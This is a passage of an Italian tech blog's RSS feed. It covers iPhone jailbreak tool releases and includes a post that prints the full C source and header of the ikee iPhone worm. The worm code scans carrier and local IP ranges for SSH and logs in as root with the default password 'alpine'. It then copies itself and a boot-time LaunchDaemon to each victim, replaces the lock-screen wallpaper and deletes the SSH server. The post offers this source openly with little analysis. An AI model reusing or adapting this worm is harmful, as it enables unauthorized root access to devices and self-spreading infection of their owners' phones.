<li>Quando l’iPhone si riaccende, avrete Cydia installato con un’icona  bianca. Inoltre Cydia non avrà repo: andate in Sources ed inserite  questa repo -&gt; apt.saurik.com/cydia-3.7 (fregatevene di tutti gli  errori che vedrete). Al riavvio di Cydia vedrete la classica icona e le  repository standard pronte all’uso.</li>
</ul>
<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=312"><span style="color: #ff0000;"><strong>Download</strong></span></a></p>
<p style="text-align: right;"><a href="http://www.beyouriphone.com/2010/04/redsn0w-0-9-5-beta-iphone-dev-team-il-jailbreak-delliphone-os-4-beta-1-per-iphone-3g-mac/">Fonte</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/04/rilasciato-redsn0w-0-9-5-beta-per-effettuare-il-jailbreak-dell%e2%80%99iphone-os-4-beta-1-per-iphone-3g-mac.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Codice sorgente di ikee il primo worm per iPhone</title>
		<link>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html</link>
		<comments>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html#comments</comments>
		<pubDate>Tue, 05 Jan 2010 16:52:15 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[programmazione]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[sicurezza]]></category>
		<category><![CDATA[Sistemi Operativi]]></category>
		<category><![CDATA[source code]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1558</guid>
		<description><![CDATA[<p></p>
<p>Tutti ricorderanno ikee, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default</p>]]></description>
			<content:encoded><![CDATA[<p><img class="aligncenter size-medium wp-image-1559" title="asto" src="http://www.pcexpert-blog.com/wp-content/uploads/2010/01/asto-262x300.jpg" alt="" width="262" height="300" /></p>
<p>Tutti ricorderanno<strong> ikee</strong>, il worm che aveva come target tutti gli iPhone sui quali era stato eseguito il jailbreak e dove non era stata cambiata la password di default (&#8220;<strong>alpine</strong>&#8220;) dopo l&#8217;installazione di <strong>SSH</strong>. Il worm aveva come unico scopo quello di modificare il wallpaper scelto dall&#8217;utente con una immagine che ritraeva <a href="http://it.wikipedia.org/wiki/Rick_Astley">Rick Astley</a> e di cercare altri dispositivi iPhone vulnerabili da infettare. Ecco di seguito il codice sorgente:</p>
<pre class="brush: cpp; title: ; notranslate">
//
// iPhone default pass worm  by ikex
//
// This code is CLOSED source.
// And very hacky, i just needed it to work.
//
// Thanks to alan3423432432 haha for helping me work out my flaws in C
//

#include &quot;main.h&quot;

int fdlock;

// randHost():  Returns a random IP Address XXX.XXX.XXX.XXX
char *randHost(void)
{
    int x,y,z;
    char *retme;
    srand (time (0));
    x=random() % 255;
    y=random() % 255;
    z=random() % 255;
    asprintf(&amp;retme, &quot;%i.%i.%i.&quot;, x,y,z);
    return retme;
}

// get_lock():  Sets/Gets the status of the file lock
//              located in /var/lock/bbot.lock
int get_lock(void)
{
    struct flock fl;
    fl.l_type = F_WRLCK;
    fl.l_whence = SEEK_SET;
    fl.l_start = 0;
    fl.l_len = 1;
    if((fdlock = open(&quot;/var/lock/bbot.lock&quot;, O_WRONLY|O_CREAT, 0666)) == -1)
      return 0;
    if(fcntl(fdlock, F_SETLK, &amp;fl) == -1)
      return 0;
    return 1;
}

// getAddrRange():  Gets the phones 3G range + 2
//                  eg, 100.100.100.0-100.100.102.255
char *getAddrRange()
{
   struct ifaddrs *ifaddr, *ifa;
   int family, s;
   char host[NI_MAXHOST];
   if (getifaddrs(&amp;ifaddr) == -1) {
       perror(&quot;getifaddrs&quot;);
       exit(EXIT_FAILURE);
   }
   for (ifa = ifaddr; ifa != NULL; ifa = ifa-&gt;ifa_next) {
       family = ifa-&gt;ifa_addr-&gt;sa_family;
        if (family == AF_INET)
        {
           if (family == AF_INET || family == AF_INET6) {
               s = getnameinfo(ifa-&gt;ifa_addr,
                       (family == AF_INET) ? sizeof(struct sockaddr_in) :
                                             sizeof(struct sockaddr_in6),
                       host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
               if (s != 0) {
                   printf(&quot;getnameinfo() failed: %s\n&quot;, gai_strerror(s));
                   return &quot;0.0.0.0-0.0.0.0&quot;;
               }

               if (strcmp(ifa-&gt;ifa_name, &quot;pdp_ip0&quot;) == 0)
               {
                   syslog(LOG_DEBUG, ifa-&gt;ifa_name);
                   syslog(LOG_DEBUG, host);
                   char *wee[20];
                   tokenise(host, wee, &quot;.&quot;);
                   char *range;
                   int octc = atoi(wee[2]);
                   asprintf(&amp;range, &quot;%s.%s.%i.0-%s.%s.%i.255&quot;, wee[0], wee[1], octc, wee[0], wee[1], octc+2);
                   return range;
                }
           }
        }
   }
   freeifaddrs(ifaddr);
   return &quot;0.0.0.0-0.0.0.0&quot;;
}
// From alan2349024  Sorry i suck at remembering numbers
// Thanks dude!
int tokenise (char input[], char *token[], char* spl) // Added sep param
{
    char *tokens;
    int count = 0;

    tokens = strtok(input, spl);//Change TOKEN_SEPERATORS To What You Want To Seperate Off

    if(tokens[strlen(tokens) - 1] == '\n')
        tokens[strlen(tokens) - 1] = '&#92;&#48;';

    token[count] = tokens;

    while(tokens != NULL)
    {
        count++;
        if( count &gt; MAX_NUM )//change MAX_NUM_TOKENS To A Number
            return (-1);

        tokens = strtok(NULL, spl);

        if(tokens != NULL)
        {
            if(tokens[strlen(tokens) - 1] == '\n')
                tokens[strlen(tokens) - 1] = '&#92;&#48;';
        }
        token[count] = tokens;
    }
    return count;
}

// Entry point.
int main(int argc, char *argv[])
{

    //pid_t   pid, sid;
    //char *subnet = randHost();

    // syslog(LOG_DEBUG, &quot;I should go, i feel like im interupting something ;]&quot;);
    /* // FORK CODE REMOVED IT FUCKS WITH LaunchDaemon.
    pid = fork();
    if (pid &lt; 0)
            exit(EXIT_FAILURE);
      else if (pid &gt; 0)
            exit(EXIT_SUCCESS);

    umask(0);

    sid = setsid();
    */
    if(get_lock() == 0) {
        syslog(LOG_DEBUG, &quot;I know when im not wanted *sniff*&quot;);
        return 1; } // Already running.
    sleep(60); // Lets wait for the network to come up 2 MINS
    syslog(LOG_DEBUG, &quot;IIIIIII Just want to tell you how im feeling&quot;);
    //char ipRange[256] = &quot;120.16.0.0-120.23.255.255&quot;;
    char *locRanges = getAddrRange();
    char *lanRanges = &quot;192.168.0.0-192.168.255.255&quot;; // #172.16.0.0-172.31.255.255 Ehh who uses it
    char *vodRanges1 = &quot;202.81.64.0-202.81.79.255&quot;;
    char *vodRanges2 = &quot;23.98.128.0-123.98.143.255&quot;;
    char *vodRanges3 = &quot;120.16.0.0-120.23.255.255&quot;;
    char *optRanges1 = &quot;114.72.0.0-114.75.255.255&quot;;
    char *optRanges2 = &quot;203.2.75.0-203.2.75.255&quot;;
    char *optRanges3 = &quot;210.49.0.0-210.49.255.255&quot;;
    char *optRanges4 = &quot;203.17.140.0-203.17.140.255&quot;;
    char *optRanges5 = &quot;203.17.138.0-203.17.138.255&quot;;
    char *optRanges6 = &quot;211.28.0.0-211.31.255.255&quot;;
    char *telRanges = &quot;58.160.0.0-58.175.255.25&quot;;
    //char *attRanges = &quot;32.0.0.0-32.255.255.255&quot;; // TOO BIG

    syslog(LOG_DEBUG, &quot;awoadqdoqjdqjwiodjqoi aaah!&quot;);
    ChangeOnBoot();
    KillSSHD();
    // Local first
    while (1)
    {
        syslog(LOG_DEBUG, &quot;Checking out the local scene yo&quot;);
        scanner(locRanges);
        syslog(LOG_DEBUG, &quot;Random baby&quot;);
        int i;
        for (i=0; i &lt;= 2; i++)
        {
            char *ipaddr = randHost();
            char *rrange;
            asprintf(&amp;rrange, &quot;%s.0-%s.255&quot;, ipaddr, ipaddr);
            scanner(rrange);
        }
        // Lan
        syslog(LOG_DEBUG, &quot;Lannnnn&quot;);
        scanner(lanRanges);
        syslog(LOG_DEBUG, &quot;VODAPHONE&quot;);
        scanner(vodRanges1);
        scanner(vodRanges2);
        scanner(vodRanges3);
        syslog(LOG_DEBUG, &quot;OPTUSSSS&quot;);
        scanner(optRanges1);
        scanner(optRanges2);
        scanner(optRanges3);
        scanner(optRanges4);
        scanner(optRanges5);
        scanner(optRanges6);
        syslog(LOG_DEBUG, &quot;Telstra&quot;);
        scanner(telRanges);
    }
}

void scanner(char *ipRange)
{
    char *wee[10];
    char *begin[10];
    char *end[10];
    tokenise(ipRange, wee, &quot;-&quot;);
    int octaB, octaE, octbB, octbE, octcB, octcE;
    tokenise(wee[0], begin, &quot;.&quot;);
    tokenise(wee[1], end, &quot;.&quot;);
    octaB = atoi(begin[0]); // YYY.XXX.XXX.XXX
    octaE = atoi(end[0]);
    octbB = atoi(begin[1]);
    octbE = atoi(end[1]);
    octcB = atoi(begin[2]);
    octcE = atoi(end[2]);
    int loop1;
    for (loop1=octaB; loop1&lt;=octaE; loop1++)
    {
        int loop2;
        for (loop2=octbB; loop2&lt;=octbE; loop2++)
        {
            int loop3;
            for (loop3=octcB; loop3&lt;=octcE; loop3++)
            {
                int loop4;
                for (loop4=0; loop4&lt;=255; loop4++)
                {
                    char* host;
                    asprintf(&amp;host, &quot;%i.%i.%i.%i&quot;, loop1, loop2,loop3, loop4);
                    //printf(&quot;\n\rScanning: %s&quot;, host);
                    if (scanHost(host) == 0 &amp;&amp; checkHost(host) == 0) // This will run scanHost THEN checkHost right?
                    {
                        syslog(LOG_DEBUG, &quot;Oh a sheep!&quot;);
                        //printf(&quot;\n\r - %s is vulnerable&quot;, host);
                        infectHost(host);
                    }
                }
            }
        }
    }
}

// http://img41.imageshack.us/img41/730/asto.jpg
int scanHost(char* host)
{
    int res, valopt, soc;
    struct sockaddr_in addr;
    long arg;
    fd_set myset;
    struct timeval tv;
    socklen_t lon;
    soc = socket(AF_INET, SOCK_STREAM, 0);
    arg = fcntl(soc, F_GETFL, NULL);
    arg |= O_NONBLOCK;
    fcntl(soc, F_SETFL, arg);
    addr.sin_family = AF_INET;
    addr.sin_port = htons(22);
    addr.sin_addr.s_addr = inet_addr(host);
    res = connect(soc, (struct sockaddr *)&amp;addr, sizeof(addr));
    if (res &lt; 0) {
      if (errno == EINPROGRESS) {
        tv.tv_sec = 10;
        tv.tv_usec = 0;
        FD_ZERO(&amp;myset);
        FD_SET(soc, &amp;myset);
        if (select(soc+1, NULL, &amp;myset, NULL, &amp;tv) &gt; 0) {
            lon = sizeof(int);
            getsockopt(soc, SOL_SOCKET, SO_ERROR, (void*)(&amp;valopt), &amp;lon);
            if (valopt) {
              return -1;
            }
        }
        else {
            return -1; }
      }
      else { return -1; }
    }
    close(soc);
    return 0;
    // Set to blocking mode again...
    //arg = fcntl(soc, F_GETFL, NULL);
    //arg &amp;= (~O_NONBLOCK);
    //fcntl(soc, F_SETFL, arg);
}

int checkHost(char *host)
{
    syslog(LOG_DEBUG, host);
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'echo 99'&quot;, VULN_PASS, host);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1; // NOT VULN
}

int runCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    // Really am to lazy to check this but im piling comands as so
    // command1; command2; command3; echo 99
    // my belief is that if for instance command2 dies we wont hit the echo 99
    // which will make us return -1
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s ; echo 99'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, &quot;99&quot;))
            return 0;
    }
    pclose(in);
    return -1;
}

int prunCommand(char* command, char *host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s '%s'&quot;,VULN_PASS, host, command);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {
        printf(&quot;%s&quot;,buff);
    }
    pclose(in);
    return -1;
}

int CopyFile(char* src, char* dst, char* host)
{
    FILE *in;
    extern FILE *popen();
    char buff[512];
    char *execLine;
    asprintf(&amp;execLine, &quot;sshpass -p %s scp -o StrictHostKeyChecking=no ./%s root@%s:%s&quot;, VULN_PASS, src, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, sizeof(buff), in) != NULL ) {}
    asprintf(&amp;execLine, &quot;sshpass -p %s ssh -o StrictHostKeyChecking=no root@%s 'which %s'&quot;, VULN_PASS, host, dst);
    if (!(in = popen(execLine, &quot;r&quot;))) {
        printf(&quot;Error is sshpass there?&quot;);
        return -1;
    }
    while (fgets(buff, 2, in) != NULL ) {
        if (strcmp(buff, dst))
            return 0;
    }
    pclose(in);
    return -1;
}

int ChangeOnBoot()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;cp /var/log/youcanbeclosertogod.jpg /var/mobile/Library/LockBackground.jpg&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int KillSSHD()
{
    FILE *in;
    extern FILE *popen();
    if (!(in = popen(&quot;rm -f /usr/sbin/sshd; killall sshd&quot;, &quot;r&quot;))) {
        return -1;
    }
    return 0;
}

int infectHost(char *host)
{
    // Copy myself to them
    // run as startup
    if (runCommand(&quot;uname -n&quot;, host) == 0)
    {
        //printf(&quot;\n\r - Infecting: &quot;);
        prunCommand(&quot;uname -n&quot;, host);
        prunCommand(&quot;rm /bin/sshpass&quot;, host);
        prunCommand(&quot;rm /bin/poc-bbot&quot;, host);
        //prunCommand(&quot;killall poc-bbot&quot;, host);
        if (CopyFile(&quot;/bin/poc-bbot&quot;, &quot;/bin/poc-bbot&quot;, host) == 0 &amp;&amp; CopyFile(&quot;/bin/sshpass&quot;, &quot;/bin/sshpass&quot;, host) == 0)
        {
            //printf(&quot; - Replicated successfully&quot;);
            prunCommand(&quot;rm /var/mobile/Library/LockBackground.jpg; echo \&quot;\r\n - Removed old background\&quot;&quot;, host);
            // Revision 3 - idea from nevermore!
            // This way dipshits wont delete my stuff
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host);
            CopyFile(&quot;/var/log/youcanbeclosertogod.jpg&quot;, &quot;/var/log/youcanbeclosertogod.jpg&quot;, host);
            //CopyFile(&quot;/var/mobile/Library/LockBackground.jpg&quot;, &quot;/var/mobile/Library/LockBackground.jpg&quot;, host); // We aren't
installing an app.

            //printf(&quot; - Background set (ast.jpg).&quot;);
            CopyFile(&quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, &quot;/System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;,
host);
            prunCommand(&quot;launchctl load /System/Library/LaunchDaemons/com.ikey.bbot.plist&quot;, host);
            // I didn't want to have to do this.
            prunCommand(&quot;rm -f /Library/LaunchDaemons/com.openssh.sshd.plist; launchctl unload
/Library/LaunchDaemons/com.openssh.sshd.plist&quot;, host);
            prunCommand(&quot;killall sshd&quot;, host);
            //printf(&quot;\n\r - Program set to startup on boot&quot;);
            //prunCommand(&quot;reboot&quot;, host)
            //printf(&quot;\n\r - Rebooting phone!&quot;);
            //CopyFile(&quot;ngtgyu.m4r&quot;, &quot;/var/mobile/ngtgyu.m4r&quot;, host);
            //printf(&quot;\n\r - Ringtone set (ngtgyu.m4r).&quot;);
        }
    }
    return 0;
}

// END
</pre>
<p>Dal blog<a href="http://tungchingkai.blogspot.com/2010/01/source-code-for-ikee-iphone-worm.html"> CK&#8217;s IT</a> ecco invece il file <strong>main.h</strong> mancante:</p>
<pre class="brush: cpp; title: ; notranslate">
# include &lt;sys/fcntl.h&gt;
# include &lt;stdio.h&gt;
# include &lt;stdlib.h&gt;
# include &lt;sys/time.h&gt;
# include &lt;unistd.h&gt;
# include &lt;sys/types.h&gt;
# include &lt;sys/socket.h&gt;
# include &lt;netinet/in.h&gt;
# include &lt;netdb.h&gt;
# include &lt;arpa/inet.h&gt;
# include &lt;syslog.h&gt;
# include &lt;errno.h&gt;
# include &lt;ifaddrs.h&gt;
# include &lt;string.h&gt;

# define MAX_NUM 24
# define VULN_PASS &quot;alpine&quot;

void scanner (char * ipRange);
int scanHost (char * host);
int checkHost (char * host);
int RunCommand (char * comando, char * host);
int prunCommand (char * comando, char * host);
int CopyFile (char * src, char * dst, char * host);
int ChangeOnBoot ();
int KillSSHD ();
int infectHost (char * host);
char * randHost (void);
int GET_LOCK (void);
char * getAddrRange ();
int tokenise (input char [], char * token [], char * SPL);
</pre>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2010/01/codice-sorgente-di-ikee-il-primo-worm-per-iphone.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rilasciato PwnageTool 3.1.3 per eseguire il Jailbreak dell&#8217;iPhone 3GS con firmware 3.1</title>
		<link>http://www.pcexpert-blog.com/2009/10/rilasciato-pwnagetool-3-1-3-per-eseguire-il-jailbreak-delliphone-3gs-con-firmware-3-1.html</link>
		<comments>http://www.pcexpert-blog.com/2009/10/rilasciato-pwnagetool-3-1-3-per-eseguire-il-jailbreak-delliphone-3gs-con-firmware-3-1.html#comments</comments>
		<pubDate>Fri, 02 Oct 2009 21:24:10 +0000</pubDate>
		<dc:creator>Paolo Smedile</dc:creator>
				<category><![CDATA[apple]]></category>
		<category><![CDATA[crack]]></category>
		<category><![CDATA[firmware]]></category>
		<category><![CDATA[hack]]></category>
		<category><![CDATA[Iphone]]></category>
		<category><![CDATA[Mac os X]]></category>
		<category><![CDATA[Senza categoria]]></category>
		<category><![CDATA[Software]]></category>
		<category><![CDATA[devteam]]></category>
		<category><![CDATA[iphone 3gs]]></category>
		<category><![CDATA[Jailbreak]]></category>
		<category><![CDATA[pwnagetool]]></category>

		<guid isPermaLink="false">http://www.pcexpert-blog.com/?p=1157</guid>
		<description><![CDATA[<p></p>
<p>Il DevTeam ha appena rilasciato la nuovissima versione di PwnageTool per sbloccare e installare il firmware 3.1 su iPhone 3GS e iPod 2G a patto che essi montino già</p>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.pcexpert-blog.com/wp-content/uploads/2009/10/3641172173_0186b1ba82_o.png"><img class="aligncenter size-full wp-image-1158" title="3641172173_0186b1ba82_o" src="http://www.pcexpert-blog.com/wp-content/uploads/2009/10/3641172173_0186b1ba82_o.png" alt="3641172173_0186b1ba82_o" width="256" height="256" /></a></p>
<p>Il DevTeam ha appena rilasciato la nuovissima versione di PwnageTool per sbloccare e installare il firmware 3.1 su <strong>iPhone 3GS e iPod 2G</strong> a patto che essi montino già il fw 3.0 o 3.01 già Jailbrekkato.</p>
<p style="text-align: center;"><a href="http://www.pcexpert-blog.com/download/downloadpage.php?id=139"><span style="color: #ff0000;"><strong>Download</strong></span></a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.pcexpert-blog.com/2009/10/rilasciato-pwnagetool-3-1-3-per-eseguire-il-jailbreak-delliphone-3gs-con-firmware-3-1.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

